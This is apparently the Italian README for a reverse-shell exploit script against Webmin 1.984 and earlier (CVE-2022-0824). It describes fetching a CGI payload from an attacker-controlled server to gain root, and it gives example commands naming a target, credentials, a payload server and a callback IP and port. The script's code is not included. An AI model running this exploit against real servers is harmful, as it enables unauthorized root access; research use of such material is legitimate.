
Exploit di reverse shell post-autenticazione per Webmin <=1.984 che sfrutta l'escalation dei privilegi di File Manager CVE-2022-0824. Scarica ed esegue un payload CGI per ottenere l'accesso root.
Webmin 1.984 e versioni precedenti - Exploit dei privilegi di File Manager (CVE-2022-0824 e CVE-2022-0829)
Gli utenti Webmin con privilegi ridotti che non hanno restrizioni configurate nel modulo File Manager possono accedere ai file con privilegi di root, se viene utilizzato il tema Authentic predefinito. Tutti i sistemi con utenti Webmin non fidati aggiuntivi dovrebbero eseguire l'aggiornamento immediatamente. Si noti che i sistemi Virtualmin non sono affetti da questo bug, a causa del modo in cui sono configurati gli utenti Webmin proprietari del dominio.
Fonte: https://www.webmin.com/security.html
Questo exploit sfrutta la vulnerabilità di Controllo degli Accessi Improprio (Improper Access Control) post-autenticazione in File Manager. Può essere sfruttato da qualsiasi utente autenticato con privilegi ridotti. Scaricherà un file .cgi in remoto da un server controllato dall'attaccante e modificherà i suoi permessi per renderlo eseguibile a livello mondiale. Una volta fatto, eseguirà il file .cgi per stabilire una connessione inversa al server controllato dall'attaccante con privilegi di root.
Riferimento: https://huntr.dev/bounties/d0049a96-de90-4b1a-9111-94de1044f295/
$~ python3 Webmin-revshell.py -t [TARGET] -c [CREDENTIAL] -LS [PY3HTTP_SERVER] -L [CALLBACK_IP] -P [CALLBACK_PORT]
$~ python3 Webmin-revshell.py -t https://192.168.5.118:10000 -c user:user123 -LS 192.168.5.120:9090 -L 192.168.5.120 -P 4444
$~ python3 Webmin-revshell.py -h
usage: Webmin-revshell.py [-h] -t TARGET -c CREDENTIAL -LS PY3HTTP_SERVER -L CALLBACK_IP -P CALLBACK_PORT [-V]
Webmin CVE-2022-0824 Reverse Shell
optional arguments:
-h, --help show this help message and exit
-t TARGET, --target TARGET
Target full URL, https://www.webmin.local:10000
-c CREDENTIAL, --credential CREDENTIAL
Format, user:user123
-LS PY3HTTP_SERVER, --py3http_server PY3HTTP_SERVER
Http server for serving payload, ex 192.168.5.120:8080
-L CALLBACK_IP, --callback_ip CALLBACK_IP
Callback IP to receive revshell
-P CALLBACK_PORT, --callback_port CALLBACK_PORT
Callback port to receive revshell
-V, --version show program's version number and exit
host di destinazione: https://192.168.5.118:10000
host attaccante: 192.168.5.120
- Webmin 1.984
- Ubuntu 18.04
- Kali 2021.3
Lo script è destinato esclusivamente ad analisi di sicurezza e ricerca, pertanto non sarò ritenuto responsabile se utilizzato per attività illecite.